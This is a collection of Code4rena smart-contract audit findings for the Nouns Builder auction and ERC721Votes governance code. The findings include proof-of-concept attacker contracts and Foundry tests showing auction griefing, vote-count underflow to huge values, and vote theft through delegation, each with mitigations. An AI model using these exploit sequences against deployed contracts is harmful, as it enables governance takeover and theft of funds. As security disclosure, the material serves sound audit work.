xanoutas/solidity-security-findings huggingface dataset:
Users can grief the auction and win it 
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/auction/Auction.sol#L344-L365


# Vulnerability details



## Impact
Users can grief the auction and win it anytime.

## Proof of Concept
A malicious actor who create bids through his/her smart contract can grief the Auction.sol's `createBid` function.

Let's say that the attacker's contract has a fallback function that griefs the call when triggered. You can see the fallback function as below;

```solidity
contract Attack {

    // Function calls for createBid made above..

    fallback() external payable {
        assert(false);
    }
}
```

1. The actor sends the `minBid` ensuring `_tokendID`, `_auction.endTime`, `settings.reservePrice` parameters are met. He/she may do it as being a first bidder to pay less or anytime during the auction. And gets the `highestBidder` position.

2. A higher bidder enters into the auction and sends more than the `highestBidder` to be the new `highestBidder`.

3. The malicious actor's funds should be returned back as per the flow logic and `_handleOutgoingTransfer` is called.
```solidity
    function _handleOutgoingTransfer(address _to, uint256 _amount) private {
        // Ensure the contract has enough ETH to transfer
        if (address(this).balance < _amount) revert INSOLVENT();

        // Used to store if the transfer succeeded
        bool success;

        assembly {
            // Transfer ETH to the recipient
            // Limit the call to 50,000 gas
            success := call(50000, _to, _amount, 0, 0, 0, 0)
        }

        // If the transfer failed:
        if (!success) {
            // Wrap as WETH
            IWETH(WETH).deposit{ value: _amount }();

            // Transfer WETH instead
            IWETH(WETH).transfer(_to, _amount);
        }
    }
```
[Permalink](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/auction/Auction.sol#L344-L365)

4. Attacker's contract griefs the call made by `_handleOutgoingTransfer` and fails it via it's fallback function.

5. Since the call is griefed in the malicious smart contract, no transfer could be completed in low level call and `WETH.transfer`. Hence the new `highestBidder` can't be set in `auction.highestBid` & `auction.highestBidder`

6. The attacker remains as `highestBidder` to the end of the auction and calls `settleCurrentAndCreateNewAuction`
## Tools Used
Manual Review, Remix
## Recommended Mitigation Steps
* It's advised to implement a mapping for the bidders with the bidamounts and auction ID and a withdraw function rather than re-funding bidders during the auction. So the bidders can withdraw their bid amounts after the auction settlement.

* This attack/occurrence can happen unintentionally if the participant contract has a fallback function which can consume more than 50000 gas. It's advised to remove hardcoded gas in `_handleOutgoingTransfer`
Use can get unlimited votes
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268


# Vulnerability details

## Impact

`aftertokenTransfer` in ERC721Votes transfers votes between user addresses instead of the delegated addresses, so a user can cause overflow in `_moveDelegates` and get unlimited votes

## Proof of Concept

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268

```
    function _afterTokenTransfer(
        address _from,
        address _to,
        uint256 _tokenId
    ) internal override {
        // Transfer 1 vote from the sender to the recipient
        _moveDelegateVotes(_from, _to, 1);

        super._afterTokenTransfer(_from, _to, _tokenId);
    }
```
https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L216

```
    _moveDelegateVotes(prevDelegate, _to, balanceOf(_from));
    ...
    unchecked {
                ...
                // Update their voting weight
                _writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount);
            }
```
During delegation `balanceOf(from)` amount of votes transferred are to the `_to` address

```
    function test_UserCanGetUnlimitedVotes() public {

        vm.prank(founder);
        auction.unpause();

        vm.prank(bidder1);
        auction.createBid{ value: 1 ether }(2);

        vm.warp(10 minutes + 1 seconds);

        auction.settleCurrentAndCreateNewAuction();
        
        assertEq(token.ownerOf(2), bidder1);

        console.log(token.getVotes(bidder1)); // 1
        console.log(token.delegates(bidder1)); // 0 bidder1

        vm.prank(bidder1);
        token.delegate(bidder2);

        console.log(token.getVotes(bidder1)); // 1
        console.log(token.getVotes(bidder2)); // 1

        vm.prank(bidder1);
        auction.createBid{value: 1 ether}(3);

        vm.warp(22 minutes);

        auction.settleCurrentAndCreateNewAuction();

        assertEq(token.ownerOf(3), bidder1);

        console.log(token.balanceOf(bidder1)); // 2
        console.log(token.getVotes(bidder1)); // 2
        console.log(token.getVotes(bidder2)); // 1

        vm.prank(bidder1);        
        token.delegate(bidder1);

        console.log(token.getVotes(bidder1)); // 4
        console.log(token.getVotes(bidder2)); // 6277101735386680763835789423207666416102355444464034512895     
  }
```

When user1 delegates to another address `balanceOf(user1)` amount of tokens are subtraced from user2's votes, this will cause underflow and not revert since the statements are unchecked

## Tools Used

foundry

## Recommended Mitigation Steps

Change delegate transfer in `afterTokenTransfer` to 

```
        _moveDelegateVotes(delegates(_from), delegates(_to), 1);
```
NFT could be locked in settlement
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/auction/Auction.sol#L192


# Vulnerability details

## Impact

`transferFrom()` is used to transfer NFT in settlement. If the receiver is a contract without appropriate way to handle the NFT, the NFT might be locked in there and non retrievable.


## Proof of Concept

There is no check if the receiver can deal with NFT if it is a contract.
src/auction/Auction.sol
```solidity
    function _settleAuction() private {
        // ...
            token.transferFrom(address(this), _auction.highestBidder, _auction.tokenId);
```


## Tools Used
Manual analysis.

## Recommended Mitigation Steps

- When place the bid, check if the bidder is a contract with proper receive implementation:
```solidity
    function createBid(uint256 _tokenId) external payable nonReentrant {
        // ...
        if (
            Address.isContract(msg.sender) &&
            ERC721TokenReceiver(msg.sender).onERC721Received(address(this), msg.sender, _tokenId, "") != ERC721TokenReceiver.onERC721Received.selector
        ) revert INVALID_RECIPIENT();
```

- Use `safeTransferFrom()` in settlement:
```solidity
    function _settleAuction() private {
        // ...
        token.safeTransferFrom(address(this), _auction.highestBidder, _auction.tokenId);
```
The contract can transfer Ownership to the zero address.
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/utils/Ownable.sol#L63-L67
https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/utils/Ownable.sol#L71-L75


# Vulnerability details

## Impact
When we use `transferOwnership` or `safeTransferOwnership`  to transfer contract ownership, there is the possibility of transferring ownership to the zero address.  This will cause the owner to lose its ownership permanently.


## Proof of Concept
In `Ownable.sol`

```
    function transferOwnership(address _newOwner) public onlyOwner {
        emit OwnerUpdated(_owner, _newOwner);

        _owner = _newOwner;
    }


    function safeTransferOwnership(address _newOwner) public onlyOwner {
        _pendingOwner = _newOwner;

        emit OwnerPending(_owner, _newOwner);
    }
```
## Recommended Mitigation Steps

Add check for the zero address.

```
    function transferOwnership(address _newOwner) public onlyOwner {
        require(_newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnerUpdated(_owner, _newOwner);

        _owner = _newOwner;
    }


    function safeTransferOwnership(address _newOwner) public onlyOwner {
        require(_newOwner != address(0), "Ownable: new owner is the zero address");
        _pendingOwner = _newOwner;

        emit OwnerPending(_owner, _newOwner);
    }
```
`ERC721Votes`: Token owners can double voting power through self delegation
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L131-L135
https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L176-L190
https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L192-L235


# Vulnerability details

The owner of one or many `ERC721Votes` tokens can double their voting power once (and only once) by delegating to their own address as their first delegation.

### Scenario
This exploit relies on the initial default value of the `delegation` mapping in `ERC721Votes`, which is why it will only work once per address.

First, the token owner must call `delegate` or `delegateBySig`, passing their own address as the delegate:

[`ERC721Votes#delegate`](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L131-L135)

```solidity
    /// @notice Delegates votes to an account
    /// @param _to The address delegating votes to
    function delegate(address _to) external {
        _delegate(msg.sender, _to);
    }
```

This calls into the internal `_delegate` function, with `_from` and `_to` both set to the token owner's address:

[`ERC721Votes#_delegate`](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L176-L190)

```solidity
    /// @dev Updates delegate addresses
    /// @param _from The address delegating votes from
    /// @param _to The address delegating votes to
    function _delegate(address _from, address _to) internal {
        // Get the previous delegate
        address prevDelegate = delegation[_from];

        // Store the new delegate
        delegation[_from] = _to;

        emit DelegateChanged(_from, prevDelegate, _to);

        // Transfer voting weight from the previous delegate to the new delegate
        _moveDelegateVotes(prevDelegate, _to, balanceOf(_from));
    }
```

Since this is the token owner's first delegation, the `delegation` mapping does not contain a value for the `_from` address, and `prevDelegate` on L#181 will be set to `address(0)`:

[`ERC721Votes.sol#L180-L181`](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L180-L181)

```solidity
        // Get the previous delegate
        address prevDelegate = delegation[_from];
```

This function then calls into `_moveDelegateVotes` to transfer voting power. This time, `_from` is `prevDelegate`, equal to `address(0)`; `_to` is the token owner's address; and `_amount` is `balanceOf(_from)`, the token owner's current balance:

[`ERC721Votes#_moveDelegateVotes`](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L192-L235)
Overflow on `_moveDelegateVotes` function
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L216


# Vulnerability details

### Impact

A malicious actor can overflow his number of votes

### Proof of Concept

0. Alice and Kane each have an NFT token
1. Alice uses `delegate` function to delegate the vote to Kane
2. Kane uses `transferFrom` to transfer his token to the address Alice
3. Alice uses `delegate` function to delegate the vote to Mike(a new empty account)
4. Finaly consult `getVotes` and Alice = 2, Kane =
6277101735386680763835789423207666416102355444464034512895 and Mike = 2

Look in: [`prevTotalVotes - _amount`](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L216)

### Tools Used

Review

### Recommended Mitigation Steps

I don't have more time, I discovered this bug close to the deadline, but I reccomend add this line before [`_writeCheckpoint`](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L216)
`if (_amount > prevTotalVotes) _amount = prevTotalVotes;`
I was only able to do some testing and I think it works, but I'm not entirely sure
ERC721Votes.sol checkpoints' timestamp is not unique, which leads to manipulation of the amount of votes
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L101


# Vulnerability details

## Impact

getPastVotes() uses the binary search algorithm, which returns the result if it encounters the same timestamp, and since timestamps are not unique in the array
The number of votes can be controlled by adding checkpoints to locate any one of the same timestamps.

## Proof of Concept
example:
1. When block.timestamp = t1, several accounts in the same transaction transfer token to each other (or set proxy) to generate multiple checkpoints of t1, and submit a proposal at the same time
proposal.timeCreated = t1

user1:
timestamp  |   votes
---------------------
..                 .
..                 .
t1                 0
t1                 1
t1                 0

user2:

timestamp  |  votes
---------------------
..                 .
..                 .
t1                 1
t1                 0
t1                 1

user3: ..
user4: ..


2.when voting , before vote , increase the user's checkpoints to control "high", so that you can control "middle", you can freely select the votes = 1 record in checkpoints (user actually has no votes)

```
function getPastVotes(address _account, uint256 _timestamp) public view returns (uint256) {
       ...
            while (high > low) {

                middle = high - (high - low) / 2;  //****control hight,then control middle****//
                cp = accountCheckpoints[middle];
                if (cp.timestamp == _timestamp) {
                    // Return the voting weight
                    return cp.votes;
```   

3. freely select the votes = 1 record in checkpoints  of timestamp = t1
```
    function _castVote(
        bytes32 _proposalId,
        address _voter,
        uint256 _support,
        string memory _reason
    ) internal returns (uint256) {
    ..
    ..
    weight = getVotes(_voter, proposal.timeCreated); //**control weight**//
    ...
```

## Recommended Mitigation Steps


Ensure that the timestamp of checkpoints is unique, _writeCheckpoint() overwrites the last one if it is the same timestamp


Reference：

https://github.com/compound-finance/compound-protocol/blob/a3214f67b73310d547e00fc578e8355911c9d376/contracts/Governance/Comp.sol#L265

https://github.com/compound-finance/compound-protocol/blob/a3214f67b73310d547e00fc578e8355911c9d376/contracts/Governance/Comp.sol#L247
User can steal their delegate's votes by receiving new tokens and redelegating
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L189
https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268


# Vulnerability details

## Impact
A user is able to steal all the votes of any other user by delegating to them, accumulating additional NFTs to increase balance (without increasing delegated votes), and then moving their delegates (which is performed based on their balance).

## Proof of Concept
When a user calls `delegate()`, votes are moved from their previous delegate to the new delegate they choose. The number of votes moved is `balanceOf(delegator)`.

`_moveDelegateVotes(prevDelegate, _to, balanceOf(_from));`

However, users are able to increase their balance without increasing the number of votes they've delegated. This is the case because the `_afterTokenTransfer()` function moves votes to the receiver, rather than to the delegate of the receiver.

`_moveDelegateVotes(_from, _to, 1);`

Using these two pieces of knowledge, the following attack is possible:
- Bob is a popular delegate, with 99 votes delegated to him
- Alice buys 1 NFT and delegates her vote to Bob by calling `delegate()`
- Alice buys 100 more NFTs, but the votes are moved to her, rather than Bob
- Alice delegates her votes to her second account by calling `delegate()`
- Since Alice has a balance of 100, 100 votes are moved from Bob to her second account
- Alice now has 100 votes, her second account has 100 votes, and Bob has 0

## Tools Used

Manual Review

## Recommended Mitigation Steps

Change the `_afterTokenTransfer()` function to move the votes to the receiver's delegate instead of to the receiver themselves.
User can generate unlimited votes through faulty transfer logic
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L262-L271


# Vulnerability details

## Impact
When tokens are transferred from one user to another, votes should be moved from the delegatee of the sender to the delegatee of the receiver. Instead, they are transferred from the sender to the receiver. Because the `_moveDelegateVotes()` function is `unchecked`, this can cause an underflow to give the user 2 ** 256 - 1 votes.

## Proof of Concept
Transfers of the NFT call the `_afterTokenTransfer()` function, which calls `_moveDelegateVotes()` to transfer one vote from the sender to the receiver. However, the vote should be transferred from the sender's delegate to the receiver's delegate.

```solidity
function _afterTokenTransfer(
    address _from,
    address _to,
    uint256 _tokenId
) internal override {
    // Transfer 1 vote from the sender to the recipient
    _moveDelegateVotes(_from, _to, 1);

    super._afterTokenTransfer(_from, _to, _tokenId);
}
```
The `_moveDelegateVotes()` function performs the following function to adjust the number of votes:
```solidity
if (_from != address(0)) {
    // Get the sender's number of checkpoints
    uint256 nCheckpoints = numCheckpoints[_from]++;

    // Used to store the sender's previous voting weight
    uint256 prevTotalVotes;

    // If this isn't the sender's first checkpoint: Get their previous voting weight
    if (nCheckpoints != 0) prevTotalVotes = checkpoints[_from][nCheckpoints - 1].votes;

    // Update their voting weight
    _writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount);
}
```
This block of code is wrapped in an `unchecked` block. This means that if a delegated user whose previous total votes is 0 transfers away a token, the checkpoint will be written with `prevTotalVotes - _amount` = `0 - 1` as the new value. 

This will underflow, leading to 2 ** 256 - 1 votes for the sender.


## Tools Used

Manual Review, Foundry

## Recommended Mitigation Steps

Change the `_afterTokenTransfer()` function to transfer votes from the delegatee of the sender to the delegatee of the receiver:

```_moveDelegateVotes(delegates(_from), delegates(_to), 1);```
Users retain votes from their delegated tokens
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L179-L190


# Vulnerability details

## Impact
When a user has undelegated tokens and delegates them to another user, the owner retains all votes for their tokens, while the delegatee also gains those votes. 

By chaining this attack together, this could allow a user to generate unlimited votes, taking over the system and passing anything through governance.

## Proof of Concept
When votes are delegated, the `_delegate()` function starts by finding the previous delegate with `delegation[from]`. If the votes aren't delegated, this returns the zero address.

When `_moveDelegateVotes()` is called, `prevDelegate` is passed as an argument, which passes `address(0)` instead of the delegator's address. 

The function has a check `if (_from != address(0))` before writing the checkpoint, so the result is that no votes are removed or checkpoint is written for the delegator, while the delegatee receives their delegated votes.

This is shown by the following test:
```solidity
function test_DelegationDoesNotDecrease() public {
    console.log("Number of Tokens: ", token.balanceOf(otherUsers[0]));

    console.log("Initial Votes: ", token.getVotes(otherUsers[0]));
    console.log("Friend Initial Votes: ", token.getVotes(otherUsers[1]));

    console.log("Delegating...");
    vm.prank(otherUsers[0]);
    token.delegate(otherUsers[1]);

    console.log("After Votes: ", token.getVotes(otherUsers[0]));
    console.log("Friend After Votes: ", token.getVotes(otherUsers[1]));
}
```

This vulnerability can be exploited to create unlimited votes. If a user holds their token in Address A, they can delegate their votes to Address Z, transfer to Address B, redelegate to Address Z, etc until Address Z has accumulated an arbitrary number of votes. The result is that governance can be completely taken over by this attack.

## Tools Used

Manual Review, Foundry

## Recommended Mitigation Steps

Rather than being set as `delegation[from]`, `prevDelegate` should be set using the `delegates()` function, which returns the user's own address if their tokens aren't delegated.